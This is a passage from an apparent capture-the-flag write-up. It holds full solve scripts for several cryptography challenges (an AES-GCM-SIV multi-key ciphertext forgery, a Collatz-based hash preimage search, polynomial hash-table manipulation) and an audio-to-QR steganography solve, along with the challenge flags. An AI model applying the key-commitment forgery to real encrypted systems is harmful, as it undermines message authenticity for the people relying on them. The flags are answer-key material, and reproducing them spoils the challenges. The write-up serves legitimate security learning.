chunk.reverse()
s = ''.join(str(bit) for bit in chunk)
out.append(int(s, 2))
return bytes(out)
def u64_le(i):
return i.to_bytes(8, "little")
def length_block(aad_len, pt_len):
# length in bits, little-endian as per RFC 8452
return u64_le(aad_len * 8) + u64_le(pt_len * 8)
# =========== Key derivation AES-GCM-SIV =========
def derive_keys(master_key, nonce):
"""
RFC 8452 derive_keys (AES-128).
Returns (msg_auth_key, msg_enc_key).
"""
assert len(master_key) in (16, 32)
assert len(nonce) == 12
cipher = AES.new(master_key, AES.MODE_ECB)
blocks = []
for ctr in range(4):
blk = cipher.encrypt(ctr.to_bytes(4, "little") + nonce)
blocks.append(blk)
msg_auth_key = blocks[0][:8] + blocks[1][:8]
msg_enc_key = blocks[2][:8] + blocks[3][:8]
return msg_auth_key, msg_enc_key
def check_polyval(msg_enc_key, nonce, tag):
"""
From tag, recover S_s (POLYVAL output) like Malosdaf:
tag = AES_Enc(mek, (S_s xor nonce||0^32) & 0x7f in MSB)
"""
cipher = AES.new(msg_enc_key, AES.MODE_ECB)
s = cipher.decrypt(tag) # S_s' = S_s xor nonce||0^32, with MSB cleared
if s[15] & 0x80:
return False, None
s = strxor(s, nonce + b"\x00"*4) # S_s
return True, s
# ========= Prepare plaintext for K[0] ==========
# Divide into 4 blocks of 16 bytes, each block .strip() then concatenate = "gib me flag plis"
b0 = b"gib m" + b" " * 11
b1 = b"e fla" + b" " * 11
b2 = b"g pli" + b" " * 11
b3 = b"s" + b" " * 15
need_plaintext = b0 + b1 + b2 + b3
if len(need_plaintext) % 16 != 0:
need_plaintext += b"\x00" * (16 - len(need_plaintext) % 16)
need_blocks = len(need_plaintext) // 16 # = 4
M = 4 # number of keys
S = M # number of sacrificial blocks = M
num_blocks = need_blocks + S # total plaintext blocks under each key
# ======= Derive per-message keys for 4 keys =====
msg_auth_keys = []
msg_enc_keys = []
for k in keys:
mak, mek = derive_keys(k, nonce)
msg_auth_keys.append(mak)
msg_enc_keys.append(mek)
# ======= Choose common tag for all 4 keys =======
while True:
tag = os.urandom(16)
ok = True
s_list = []
for mek in msg_enc_keys:
ok_tag, s = check_polyval(mek, nonce, tag)
if not ok_tag:
ok = False
break
s_list.append(s)
if ok:
break
# ======= Generate AES-CTR keystream for each key =====
counter = bytearray(tag)
counter[15] |= 0x80
counter = bytes(counter)
keystreams = [[] for _ in range(M)]
aes_objs = [AES.new(mek, AES.MODE_ECB) for mek in msg_enc_keys]
for _ in range(num_blocks):
for j in range(M):
ks = aes_objs[j].encrypt(counter)
keystreams[j].append(ks)
ctr_int = int.from_bytes(counter, "little") + 1
counter = ctr_int.to_bytes(16, "little")
# ======= Prepare POLYVAL parameters =========
inv = bytes_to_fe(b"\x01" + b"\x00"*13 + b"\x04\x92") # x^-128, according to RFC 8452
w = [bytes_to_fe(mak) * inv for mak in msg_auth_keys] # H_j = msg_auth_key_j * x^-128
LENBLOCK_fe = bytes_to_fe(length_block(0, 16 * num_blocks)) # AAD = 0, plaintext = 16*num_blocks
aad_poly = [K(0)] * M # no AAD
polyvals_rhs = []
for j in range(M):
s_fe = bytes_to_fe(s_list[j]) # S_s^(j)
polyvals_rhs.append(s_fe + w[j] * LENBLOCK_fe + aad_poly[j])
# ======= Build linear system A * X = b ===========
# Variable X contains M*num_blocks plaintext blocks:
# key 0: P_0[0..num_blocks-1]
# key 1: P_1[...]
# key 2: ...
# key 3: ...
matrix_size = M * num_blocks
rows = []
rhs = []
# 1) POLYVAL equations: 1 equation per key
for j in range(M):
row = [K(0)] * matrix_size
# sum_i P_{j,i} * H_j^{num_blocks+1-i}
for i in range(num_blocks):
row[j * num_blocks + i] = w[j] ** (num_blocks + 1 - i)
rows.append(row)
rhs.append(polyvals_rhs[j])
# 2) Ciphertext equality equations:
# C_i is the same for all keys => P_0[i] + P_j[i] = KS0[i] + KSj[i]
for i in range(num_blocks):
ks0_fe = bytes_to_fe(keystreams[0][i])
for j in range(1, M):
row = [K(0)] * matrix_size
row[0 * num_blocks + i] = K(1)
row[j * num_blocks + i] = K(1)
rows.append(row)
rhs.append(ks0_fe + bytes_to_fe(keystreams[j][i]))
# 3) Fix plaintext for key 0, first 4 blocks
target_positions = [
(0, 0), # b0 for key0, block0
(1, 1), # b1 for key1, block1
(2, 2), # b2 for key2, block2
(3, 3), # b3 for key3, block3
]
for blk_idx, (j, blk) in enumerate(target_positions):
row = [K(0)] * matrix_size
row[j * num_blocks + blk] = K(1)
rows.append(row)
block_bytes = need_plaintext[16 * blk_idx : 16 * (blk_idx + 1)]
rhs.append(bytes_to_fe(block_bytes))
assert len(rows) == matrix_size == len(rhs), "System is not square!"
A = Matrix(K, rows)
b_vec = vector(K, rhs)
print("[*] Solving linear system over GF(2^128)...")
X = A.solve_right(b_vec)
# ======= Construct ciphertext for key 0 ============
P0_blocks_fe = [X[i] for i in range(num_blocks)]
ct_blocks = []
for i in range(num_blocks):
ks0_fe = bytes_to_fe(keystreams[0][i])
ct_blocks.append(ks0_fe + P0_blocks_fe[i]) # C_i = KS0_i + P0_i
ct_bytes = b"".join(fe_to_bytes(c) for c in ct_blocks)
ciphertext_full = ct_bytes + tag
print("[*] Ciphertext length:", len(ciphertext_full))
print("[*] Ciphertext hex (paste into option 3):")
print(binascii.hexlify(ciphertext_full).decode())
Choose option 3 to submit the obtained ciphertext Choose option 4 to get the flag
FLAG: flag{4x0l075_0nly_5p4wn_1n_lu5h_c4v35_0r_1n_7h3_d4rk}
p34kC0nj3c7ur3
Description
Pave your path to ultimate hash function!
Analysis
This is the 3n + 1 - Collatz problem in the form of a hash function
The server computes myHash = uniqueHash(message) and we are given uniqueHash(myHash)
We must find 10 values such that H(i) = myHash
Exploit Idea
First, we need to find the value of myHash
The server returns H(myHash) = 25, we can search from 1 to 10000 to find which number has 25 steps, and then we can determine myHash = 4017
Then, by simply reversing the operations x * 2 and (x-1)/3 from 1, we will trace back 10 numbers that have 4017 steps to reach 1
Solve
from pwn import *
from Crypto.Util.number import isPrime
import random
import time
# --- Configuration ---
HOST = 'remote.infoseciitr.in'
PORT = 4002
MY_HASH_TARGET = 4017 # Found from leak analysis step (uniqueHash(4017) -> 25)
# --- Helper Functions ---
def get_preimage_batch(target_steps, batch_size=8000):
"""
Generate numbers with stopping time equal to target_steps by reversing Collatz.
Use large batch_size to increase chances of finding prime numbers at deeper levels.
"""
# Start reversing from number 1
current_layer = {1}
# Loop to go back target_steps - 1 steps
for i in range(target_steps - 1):
next_layer = set()
# Optimization: Keep population size stable to avoid RAM overflow
parents = list(current_layer)
if len(parents) > batch_size:
parents = random.sample(parents, batch_size)
for x in parents:
# Reverse Rule 1: From division by 2 => multiply by 2
next_layer.add(x * 2)
# Reverse Rule 2: From 3x+1 => (x-1)/3
if (x - 1) % 3 == 0:
prev = (x - 1) // 3
# Forward Collatz condition: 3x+1 only applies to odd numbers
if prev % 2 == 1 and prev > 1:
next_layer.add(prev)
current_layer = next_layer
if not current_layer:
return [], []
# Final step: Classify into Prime and Composite
primes = []
composites = []
for x in current_layer:
# Branch A: Multiply by 2 (Always composite since x > 1)
composites.append(x * 2)
# Branch B: (x-1)/3
if (x - 1) % 3 == 0:
prev = (x - 1) // 3
if prev % 2 == 1 and prev > 1:
if isPrime(prev):
primes.append(prev)
else:
composites.append(prev)
return primes, composites
def solve():
context.log_level = 'info'
# 1. PRE-COMPUTE: Calculate offline beforehand to avoid timeout
# Need to find at least 10 numbers, take 15 extra to be sure
primes_pool = set()
composites_pool = set()
log.info(f"Target Hash: {MY_HASH_TARGET}. Finding at least 15 Prime numbers...")
attempt = 1
# Generate loop until enough Primes are collected
while len(primes_pool) < 15:
log.info(f"Batch {attempt}: Generating (current primes count: {len(primes_pool)})...")
p, c = get_preimage_batch(MY_HASH_TARGET, batch_size=8000)
primes_pool.update(p)
composites_pool.update(c)
attempt += 1
# Convert to list to use pop() function
primes_pool = list(primes_pool)
composites_pool = list(composites_pool)
log.success(f"Ready! Found {len(primes_pool)} Primes and {len(composites_pool)} Composites.")
# 2. CONNECT: Now connect to server
conn = remote(HOST, PORT)
# 3. VERIFY LEAK
conn.recvuntil(b"This is my hash of hash: ")
leak = int(conn.recvline().strip())
log.info(f"Leak from server: {leak}")
proofs_needed = 10
# Based on "Well Well" error analysis from previous run, we know Flag is Prime
target_is_prime = True
log.info("Locked Target Type: PRIME (Based on previous analysis)")
while proofs_needed > 0:
candidate = None
if target_is_prime:
if not primes_pool:
log.error("Ran out of Prime numbers to send! Need to increase batch_size or run again.")
return
candidate = primes_pool.pop()
else:
if not composites_pool:
log.error("Ran out of Composite numbers!")
return
candidate = composites_pool.pop()
# Send number to server
log.info(f"Sending number (Is Prime? {isPrime(candidate)})...")
conn.recvuntil(b"Enter your message in hex: ")
conn.sendline(hex(candidate).encode())
# Read response
try:
response = conn.recvline().decode().strip()
log.info(f"Server response: {response}")
except EOFError:
log.error("Server closed connection unexpectedly.")
return
if "Incorrect!" in response:
log.error("Incorrect hash! Logic calculation has issues.")
return
elif "Correct!" in response:
proofs_needed -= 1
log.success(f"Correct! {proofs_needed} remaining.")
elif "Well Well" in response:
# Backup case, if guessed wrong Prime/Composite type
log.warning("Wrong prime property! Changing target...")
target_is_prime = not target_is_prime
# Get Flag
conn.interactive()
if __name__ == "__main__":
solve()
FLAG: flag{1r0n_m4n_f0r_c0ll4tz_3ndg4m3_0f_cryp70gr4phy_1s_p34k_r16h7_313}
The job
Your non cryptography “friend” needs your help or he might lose his job. Well you don’t really care you just want the flag don’t you.
Anyways connect to the instance to get the flag… after helping your friend save his job ofcourse.
Analysis
Hash table has k = 256 slots, each slot can contain multiple elements
The hash function is defined as:
def get_hash(num, coeff_arr):
hash = 0
mult = 1
for i in range(len(coeff_arr)):
hash = (hash + mult * coeff_arr[len(coeff_arr)-1-i]) % mod
mult = (mult * num) % mod
return hash
This calculates $H_i(x) = c_0 + c_1x_i + c_2x_i^2 + ... + c_nx_i^n \ mod \ p$, such that $H_i(x) < 256$
The challenge has 2 phases:
- Phase 1
for i in range(k):
if len(hash_table[i]) > (n + k - 1)/k:
fail
We need to choose polynomial coefficients such that each hash_table[i] contains no more than 4 elements
- Phase 2 Similar to phase 1, but one slot of hash_table[i] has been added with junk, we have to guess which slot number it is
Exploitation StrategyChallenge
- Phase 1
We need to choose a polynomial function such that hash_table[i] contains no more than 4 elements
One strategy is to pre-select hash_table(H(x)) = x
Then hashtable = [[x1, x2, x3, x4], [x5, x6, x7, x8], …,[0,0,0,0]]
From 896 pairs (x, y), we will use Lagrange interpolation to get the polynomial coefficients, input them to the server to automatically pass phase 1
- Phase 2
The server will pre-select 1 slot in hash_table and add junk to it, we need to find the index
The strategy is to divide hash_table into 2 halves, the first half has 128 slots with 4 elements, the rest with 3 elements
If server returns pass -> junk is in the second half If server returns fail -> junk is in the first half
The idea repeats when we find the index range where junk is located, similar to binary search
Solve
Run the script below until you get the flag
from pwn import *
import sys
MOD = 10**9 + 7
K = 256
N = 896
# ---------- Polynomial helpers ----------
def poly_add(A, B, p):
n = max(len(A), len(B))
res = [0] * n
for i in range(n):
if i < len(A):
res[i] = (res[i] + A[i]) % p
if i < len(B):
res[i] = (res[i] + B[i]) % p
# trim highest-degree zeros
while len(res) > 1 and res[-1] == 0:
res.pop()
return res
def poly_scal_mul(A, s, p):
return [(a * s) % p for a in A]
def poly_mul_linear(A, c0, c1, p):
"""
Return A(x) * (c0 + c1*x).
"""
res = [0] * (len(A) + 1)
for i, a in enumerate(A):
res[i] = (res[i] + a * c0) % p
res[i + 1] = (res[i + 1] + a * c1) % p
# trim
while len(res) > 1 and res[-1] == 0:
res.pop()
return res
def poly_eval(A, x, p):
"""
Evaluate polynomial A (low-degree first) at x using Horner.
"""
res = 0
for coef in reversed(A):
res = (res * x + coef) % p
return res
def interpolate(xs, ys, p=MOD):
"""
Given distinct xs and arbitrary ys, return polynomial P
(low-degree first) of degree < len(xs) such that P(xs[i]) = ys[i].
"""
P = [0] # current polynomial
Q = [1] # product (x - x_j) over previous points
for x_i, y_i in zip(xs, ys):
x_i %= p
y_i %= p
valP = poly_eval(P, x_i, p)
valQ = poly_eval(Q, x_i, p)
invQ = pow(valQ, p - 2, p) # Fermat inverse
a = (y_i - valP) * invQ % p
P = poly_add(P, poly_scal_mul(Q, a, p), p)
Q = poly_mul_linear(Q, (-x_i) % p, 1, p) # Q *= (x - x_i)
return P
def coeffs_for_server(P, mod=MOD):
"""
Convert low-degree-first polynomial P to the coefficient
string expected by server.get_hash (highest degree first).
"""
arr = [c % mod for c in reversed(P)]
# strip leading zeros if any
i = 0
while i < len(arr) - 1 and arr[i] == 0:
i += 1
arr = arr[i:]
return ",".join(str(c) for c in arr)
# ---------- build connection and solve ----------
def main():
io = remote("remote.infoseciitr.in", 4006)
# ---- Stage 0: get leaked numbers ----
io.recvuntil(b"Press Enter to start > ")
io.sendline(b"")
line = io.recvline().decode().strip()
# should be: "Here are the leaked numbers : a,b,c,..."
assert "Here are the leaked numbers" in line
nums_str = line.split(":", 1)[1].strip()
xs = list(map(int, nums_str.split(",")))
assert len(xs) == N
# ---- Stage 1: build polynomial with <=4 per bucket ----
# simple pattern: 4 per bucket for 0..223, rest empty
ys0 = [i // 4 for i in range(N)] # 0..223 each repeated 4 times
P0 = interpolate(xs, ys0, MOD)
coeff_str0 = coeffs_for_server(P0, MOD)
io.recvuntil(b"> ") # "Enter the coefficients..." prompt
io.sendline(coeff_str0.encode())
# skip messages until the "Press Enter to continue > " prompt
io.recvuntil(b"Press Enter to continue > ")
io.sendline(b"")
# ---- Stage 2: 6 trials to learn bits 0..5 of target ----
# Precompute subsets S_t = { i | bit t of i is 1 }
S = []
for t in range(6):
S_t = {i for i in range(K) if (i >> t) & 1}
assert len(S_t) == 128
S.append(S_t)
bits = [] # bits[t] = 1 if target in S_t, else 0
for t in range(6):
# Receive "Trial X" prompt & "Enter coeffs" prompt
io.recvuntil(b"Trial ")
io.recvline() # e.g. "1 : "
io.recvuntil(b"> ")
# Build mapping for this trial: 4 on S_t, 3 on complement
big = [i for i in range(K) if i in S[t]]
small = [i for i in range(K) if i not in S[t]]
assert len(big) == 128 and len(small) == 128
ys = [0] * N
pos = 0
# assign 4 values to each big bucket
for idx in big:
for _ in range(4):
ys[pos] = idx
pos += 1
# assign 3 values to each small bucket
for idx in small:
for _ in range(3):
ys[pos] = idx
pos += 1
assert pos == N
P_t = interpolate(xs, ys, MOD)
coeff_str_t = coeffs_for_server(P_t, MOD)
io.sendline(coeff_str_t.encode())
# Read manager's verdict
io.recvuntil(b"Manager says the hash ")
res = io.recvline().decode()
# extra blank line after that
# (string has "\n\n") – consume one extra line safely
try:
io.recvline(timeout=0.1)
except:
pass
if "passed" in res:
bits.append(0) # target not in S_t
else:
bits.append(1) # target in S_t
# ---- Deduce candidate indices and guess ----
candidates = []
for idx in range(K):
ok = True
for t in range(6):
in_set = idx in S[t]
if bits[t] == 1 and not in_set:
ok = False
break
if bits[t] == 0 and in_set:
ok = False
break
if ok:
candidates.append(idx)
print("Bits learned:", bits, "candidates:", candidates, file=sys.stderr)
# There will be exactly 4 candidates; pick one (e.g. at random or first)
guess = candidates[0]
io.recvuntil(b"Tell your friend the index : ")
io.sendline(str(guess).encode())
# Show whatever the server prints (hopefully the flag)
io.interactive()
if __name__ == "__main__":
main()
FLAG: flag{h0w_d1d_h3_b3c0m3_th3_m4n4g3r}
Steg/For
Sonic
Description
We intercepted a strange audio transmission. Our audio analysts say it’s not music, not speech, and definitely not random noise. Can you figure out what it is?
Analysis
Basic file inspection
First, inspect the audio file:
$ file challenge.wav
challenge.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz
So we have:
- Mono
- 16‑bit PCM
- 44,100 Hz sample rate
Let’s look at the raw samples in Python:
import wave
import numpy as np
w = wave.open("challenge.wav", "rb")
print(w.getnchannels(), w.getsampwidth(), w.getframerate(), w.getnframes())
frames = w.readframes(w.getnframes())
samples = np.frombuffer(frames, dtype="<i2") # 16-bit little-endian
print(np.unique(samples))
Output is essentially:
- Channels:
1 - Sample width:
2bytes - Sample rate:
44100 - Unique sample values:
[-8000, 2700, 8000]
So the “audio” isn’t voice or music; it’s a discrete digital signal using only three levels.
Finding the preamble
Check where the middle value 2700 appears:
idx_2700 = np.where(samples == 2700)[0]
print(len(idx_2700), idx_2700[:20], idx_2700[-20:])
We see:
- Exactly 200 samples at value
2700. - They occupy indices
0–199.
After that, the signal uses only -8000 and +8000.
That strongly suggests the first 200 samples are a preamble / sync sequence. We can ignore them and work with the rest:
samples2 = samples[200:]
Guessing the symbol length
A common trick is to use a nice round time unit like 10 ms per symbol.
At 44.1 kHz:
44100 * 0.01 # 10 ms
# 441.0
So 10 ms = 441 samples. Let’s see if the remaining data length is a multiple of 441:
block_size = 441
nblocks = len(samples2) // block_size
print(nblocks, len(samples2) - nblocks * block_size)
We get:
nblocks = 729- Remainder =
0
Perfect: after the preamble, the audio splits into 729 blocks of 441 samples exactly.
So each block of 441 samples is one symbol.
Converting symbols to bits
For each 441-sample block, we can compute its average value and use the sign to determine a bit:
- Mean > 0 → bit
1 - Mean ≤ 0 → bit
0
blocks = samples2.reshape(nblocks, block_size)
means = blocks.mean(axis=1)
bits = (means > 0).astype(int)
print(np.unique(bits, return_counts=True))
This gives:
- Bit values:
[0, 1] - Counts: e.g.
328zeroes,401ones
So now we have a 729‑bit sequence.
Bits → 2D grid
729 factors as:
729 = 27 × 27
That’s a suspiciously nice size for a small bitmap.
Reshape into a 27×27 grid:
grid = bits.reshape(27, 27)
def show_grid(g):
return "\n".join(
"".join("#" if b else " " for b in row)
for row in g
)
print(show_grid(grid))
The output looks like a 27×27 block with a solid border and structured patterns inside the border – clearly not random.
To check whether the colors are inverted, we flip 0↔1:
inv_grid = 1 - grid
print(show_grid(inv_grid))
After inversion, we can see a quiet border and a structured pattern in the center that resembles a QR code (with finder patterns in three corners).
Extracting the QR core
QR codes come in specific sizes. For version v:
size = 21 + 4 × (v - 1)
Sizes:
- v1 → 21×21
- v2 → 25×25
- v3 → 29×29
- …
We have a 27×27 grid. That suggests:
- 1-pixel border around
- Inner 25×25 core → matches QR version 2
So we extract the inner 25×25 region, stripping 1 row/column from each side:
core = inv_grid[1:26, 1:26]
print(core.shape) # (25, 25)
print(show_grid(core))
The resulting pattern has classic QR structures:
- Three large finder squares in three corners
- Timing patterns
- Data and error correction modules
So this is our QR code raster.
Rendering the QR as an image
Next, we render the core grid into an actual image (black / white pixels), scaled up to make scanning easy.
from PIL import Image
scale = 10 # pixels per module
N = 25 # QR core size
img = Image.new("L", (N * scale, N * scale), 255) # start all white
pixels = img.load()
for y in range(N):
for x in range(N):
color = 0 if core[y, x] == 1 else 255 # 1=black, 0=white
for dy in range(scale):
for dx in range(scale):
pixels[x * scale + dx, y * scale + dy] = color
img.save("qr_raw.png")
QR scanners generally expect a quiet zone (white margin) around the code, typically 4 modules wide. We add that:
quiet = 4 # quiet zone width in modules
modsize = 10 # pixels per module
size = (N + 2*quiet) * modsize
img2 = Image.new("L", (size, size), 255)
pix2 = img2.load()
for y in range(N):
for x in range(N):
color = 0 if core[y, x] == 1 else 255
for dy in range(modsize):
for dx in range(modsize):
px = (x + quiet) * modsize + dx
py = (y + quiet) * modsize + dy
pix2[px, py] = color
img2.save("qr_with_quiet.png")
Now qr_with_quiet.png is a properly padded QR image.

Final: flag{p1x3l5_1n_4ud10_4r3_fun!}